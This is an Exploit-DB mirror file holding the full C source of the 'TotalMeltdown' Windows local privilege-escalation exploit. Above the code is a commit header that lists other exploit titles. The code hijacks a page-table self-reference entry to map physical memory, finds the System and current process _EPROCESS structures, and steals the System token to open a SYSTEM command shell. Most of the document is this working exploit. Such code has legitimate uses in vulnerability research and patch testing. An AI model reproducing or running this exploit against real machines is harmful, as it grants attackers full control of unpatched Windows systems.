exploit-db-mirror/exploits/windows/local/44581.c
Offensive Security 813a3efbb5 DB: 2018-05-04
20 changes to exploits/shellcodes

Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow

Jnes 1.0.2 - Stack Buffer Overflow

Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow

netek 0.8.2 - Denial of Service

Cisco Smart Install - Crash (PoC)
Schneider Electric InduSoft Web Studio and InTouch Machine Edition - Denial of Service
Linux Kernel  < 4.17-rc1 - 'AF_LLC' Double Free

Linux Kernel 2.6.32 < 3.x.x (CentOS) - 'PERF_EVENTS' Local Privilege Escalation (1)
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)
Adobe Reader PDF - Client Side Request Injection
Windows - Local Privilege Escalation

Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit)
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit)

Adobe Flash < 28.0.0.161 - Use-After-Free
Norton Core Secure WiFi Router - 'BLE' Command Injection (PoC)
GPON Routers - Authentication Bypass / Command Injection
TBK DVR4104 / DVR4216 - Credentials Leak
Call of Duty Modern Warefare 2 - Buffer Overflow

Squirrelcart 1.x.x - 'cart.php' Remote File Inclusion
Squirrelcart 1.x - 'cart.php' Remote File Inclusion

Infinity 2.x.x - options[style_dir] Local File Disclosure
Infinity 2.x - 'options[style_dir]' Local File Disclosure

PHP-Nuke 8.x.x - Blind SQL Injection
PHP-Nuke 8.x - Blind SQL Injection

WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - 'cart.php' Local File Disclosure
WHMCompleteSolution (WHMCS) 3.x < 4.0.x - 'cart.php' Local File Disclosure

WHMCompleteSolution (WHMCS) 3.x.x - 'clientarea.php' Local File Disclosure
WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure

Ajax Availability Calendar 3.x.x - Multiple Vulnerabilities
Ajax Availability Calendar 3.x - Multiple Vulnerabilities

vBulletin vBSEO 4.x.x - 'visitormessage.php' Remote Code Injection
vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection

WordPress Theme Photocrati 4.x.x - SQL Injection / Cross-Site Scripting
WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting

Subrion 3.X.x - Multiple Vulnerabilities
Subrion 3.x - Multiple Vulnerabilities

Ciuis CRM 1.0.7 - SQL Injection

LifeSize ClearSea 3.1.4 - Directory Traversal

WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting
DLINK DCS-5020L - Remote Code Execution (PoC)
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
2018-05-04 05:01:47 +00:00

353 lines
No EOL
9.7 KiB
C

#include "stdafx.h"
#define PML4_BASE 0xFFFFF6FB7DBED000
#define PDP_BASE 0xFFFFF6FB7DA00000
#define PD_BASE 0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
#pragma pack(push,4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
UCHAR Type;
UCHAR ShareDisposition;
USHORT Flags;
union {
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Generic;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Port;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Interrupt;
struct {
union {
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Group;
#else
USHORT Reserved;
#endif
USHORT MessageCount;
ULONG Vector;
KAFFINITY Affinity;
} Raw;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Translated;
} DUMMYUNIONNAME;
} MessageInterrupt;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Memory;
struct {
ULONG Channel;
ULONG Port;
ULONG Reserved1;
} Dma;
struct {
ULONG Channel;
ULONG RequestLine;
UCHAR TransferWidth;
UCHAR Reserved1;
UCHAR Reserved2;
UCHAR Reserved3;
} DmaV3;
struct {
ULONG Data[3];
} DevicePrivate;
struct {
ULONG Start;
ULONG Length;
ULONG Reserved;
} BusNumber;
struct {
ULONG DataSize;
ULONG Reserved1;
ULONG Reserved2;
} DeviceSpecificData;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length40;
} Memory40;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length48;
} Memory48;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length64;
} Memory64;
struct {
UCHAR Class;
UCHAR Type;
UCHAR Reserved1;
UCHAR Reserved2;
ULONG IdLowPart;
ULONG IdHighPart;
} Connection;
} u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop,4)
typedef enum _INTERFACE_TYPE {
InterfaceTypeUndefined,
Internal,
Isa,
Eisa,
MicroChannel,
TurboChannel,
PCIBus,
VMEBus,
NuBus,
PCMCIABus,
CBus,
MPIBus,
MPSABus,
ProcessorInternal,
InternalPowerBus,
PNPISABus,
PNPBus,
Vmcs,
ACPIBus,
MaximumInterfaceType
} INTERFACE_TYPE, *PINTERFACE_TYPE;
typedef struct _CM_PARTIAL_RESOURCE_LIST {
USHORT Version;
USHORT Revision;
ULONG Count;
CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;
typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
INTERFACE_TYPE InterfaceType;
ULONG BusNumber;
CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;
typedef struct _CM_RESOURCE_LIST {
ULONG Count;
CM_FULL_RESOURCE_DESCRIPTOR List[1];
} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;
struct memory_region {
ULONG64 size;
ULONG64 address;
};
// Very hack'y way of trying to map out physical memory regions to try and reduce
// risk of BSOD
DWORD parse_memory_map(struct memory_region *regions) {
HKEY hKey = NULL;
LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
LPTSTR pszValueName = L".Translated";
LPBYTE lpData = NULL;
DWORD dwLength = 0, count = 0, type = 0;;
if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
{
printf("[*] Could not get reg key\n");
return 0;
}
if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
{
printf("[*] Could not query hardware key\n");
return 0;
}
lpData = (LPBYTE)malloc(dwLength);
RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);
CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;
for (int i = 0; i < resource_list->Count; i++) {
for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
regions++;
count++;
}
}
}
return count;
}
int main()
{
printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
printf(" paging code by @UlfFrisk\n\n");
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
DWORD count;
// Parse registry for physical memory regions
printf("[*] Getting physical memory regions from registry\n");
struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);
count = parse_memory_map(regions);
if (count == 0) {
printf("[X] Could not find physical memory region, quitting\n");
return 2;
}
for (int i = 0; i < count; i++) {
printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
}
// Check for vulnerability
__try {
int test = *(unsigned long long *)PML4_BASE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Could not access PML4 address, system likely not vulnerable\n");
return 2;
}
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
// Here, the PDPT table is referenced via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("\n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memory\n");
for (int j = 0; j < count; j++) {
printf("[*] Trying physical region %p - %p\n", regions[j].address, regions[j].address + regions[j].size);
for (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...\n\n");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
"C:\\windows\\system32",
&si,
&pi);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSOD\n");
return 2;
}
}
}
return 0;
}